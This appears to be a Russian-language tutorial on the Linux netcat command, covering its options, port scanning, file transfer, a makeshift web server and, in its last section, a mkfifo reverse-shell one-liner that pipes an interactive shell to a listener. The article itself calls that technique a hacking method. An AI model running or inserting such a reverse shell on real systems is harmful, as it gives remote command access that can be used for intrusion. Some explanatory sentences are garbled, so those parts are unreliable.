Для чего команда NC в Linux

29.01.2022, 01:30

Команда netcat необходима для передачи и получения данных протоколами TCP и UDP. Она не отличается большим набором функций, но при этом её достаточно для проверки соединения и несложной отладки. Как общаться посредством протокола TCP? Этим вопросом задаются многие пользователи. В этой статье ответим на этот вопрос, с также покажем примеры реального применения команды.

Опции 

Для начала рассмотрим синтаксис и наиболее востребованные:

  • -6 – использовать протокол IPv6. По умолчанию используется параметр -4 и IPv4 соответственно;
  • -h – вывести справку со списком доступных параметров;
  • -i задержка – добавить задержку между отправкой строк или сканированием портов. Задаётся в секундах;
  • -l – режим прослушивания. Используется с указанием порта;
  • -N – закрыть соединение при достижении конца файла при его отправке;
  • -n – Работать с IP-адресами напрямую, не задействуя DNS, также отключить поиск портов;
  • -P имя_пользователя – указать имя пользователя для подключения к прокси;
  • -x адрес:порт – указать адрес и порт для подключения к прокси;
  • -p порт – указать номер порта. В большинстве случаев порт считывается без указания параметра;
  • -U – использовать сокет домена UNIX (для межпроцессного взаимодействия);
  • -u – использовать протокол UDP, по умолчанию используется TСP;
  • -v – подробный режим. Используется при сканировании;
  • -W количество_пакетов – закрыть соединение после получения определённого количества пакетов;
  • -w таймер – включить таймер для ограничения времени соединения. Задаётся в секундах;
  • -z – отключить отправку данных. Используется при сканировании.

Команда имеет следующий вид:

$ nc -параметры адрес порт(ы)

Дальше расскажем о способах применения команды.

Проверяем порт

Проверка – главное применение netcat. Следует использовать два параметра -vz, указать адрес и порт. Вы можете указать диапазон адресов, но в этом случае лучше отсеять только открытые порты с помощью команды grep. Проверим порты адреса локальной сети:

$ nc -vz 192.168.31.247 8080

$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Таким же способом просканируем порты UDP, добавив параметр -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

При этом нужно знать главное отличие TCP и UDP. Так в UDP порты всегда доступны.

Прослушиваем порт

Для прослушивания порта предназначен параметр -l. Его зачастую достаточно, но можете включить подробный режим:

$ nc -nlv 8080

Помните, что при использовании протокола TСP порт должен быть в свободен, иначе появится ошибка Already in use. При этом не все порты могут использовать обычные пользователи, например, 80 порт (HTTP), скорее всего, он будет занят другим процессом, и к тому же потребует прав суперпользователя.

Обмен файлами

Полезная способность команды - обмен данными. Простой пример – текстовый чат. Для того, чтобы запустить чат на одном компьютере запускаем утилиту в режиме прослушивания порта:

$ nc -lp 8080

На другом компьютере потребуется указать адрес первого компьютера и тот же самый порт. Также не забудьте проверить, что порт открыт:

$ nc 0.0.0.0 8080

Таким способом удастся отправлять и получать сообщения. То есть, команда предназначена для обмена файлами. Принцип такой же, за тем исключением, что необходимо перенаправить вывод в файл, а именно в paste.txt:

$ nc -l 8080 > paste.txt

На другом ПК вводом будет служить файл copy.txt. Не лишним будет использовать параметр -N, чтобы после передачи файла закрыть соединение:

$ nc -N 0.0.0.0 8080 < copy.txt

Для передачи файлов важно соблюсти последовательность, сначала открыть прослушивание и лишь потом отправлять файл. Команда nc –  рабочий, но далеко не самый лучший способ передачи файлов. Есть для решения этой задачи более эффективные и полезные инструменты.

Простой веб-сервер

Поскольку команда NC не функционирует с протоколом TСP, она позволяет и отправлять, и получать запросы HTTP. Следовательно, утилита может стать простейшим веб-сервером. Да, ничего хитрей страницы-заглушки таким образом нельзя сделать, н операция практически не отнимет времени, а еще плюс в том, что не нужно ничего дополнительно инсталлировать.

На примере сформируем ответ HTTP с файлом index.html. Если же говорить о самой np, то не лишним будет установить таймер параметром -w 1, чтобы разорвать соединение, если этого не сделает браузер:

$ while true; do echo -e "HTTP/1.1 200 OK\n\n$(cat index.html)" | nc -l -w 1 -p 8080; done

Чтобы получить данные с веб-сайта, вы можете сформировать запрос и отправить его на советующий адрес и порт. Но такой способ довольно сложный, лучше использовать соответствующую CURL команду. 

Удаленная оболочка

Исходя из рассмотренных выше примеров, не составит прийти к выводу, что команда позволяет организовать удалённый доступ к оболочке компьютера. Ранее утилита NC имела несколько параметров для открытия доступа к терминалу. Параметр -e уже давно убрали из утилиты, поэтому простого доступа к терминалу уже не будет. Безопасность самого приложения стала выше, но оно по-прежнему может работать в связке с другими.

Покажем подключение с помощью именованного канала mkfifo. В первую очередь запустим прослушивание порта на том ПК, на котором будем получать доступ:

$ nc -lvnp 8080

Перейдём непосредственно к команде для открытия терминала. Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1). После этого останется запустить nc с выводом в наш именованный канал (nc 0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Следует учитывать, что это один из способов взлома, однако, он может быть полезен в случае появления проблем с ssh. Для того, чтобы предотвратить атаку настраивайте политику безопасности и межсетевой экран.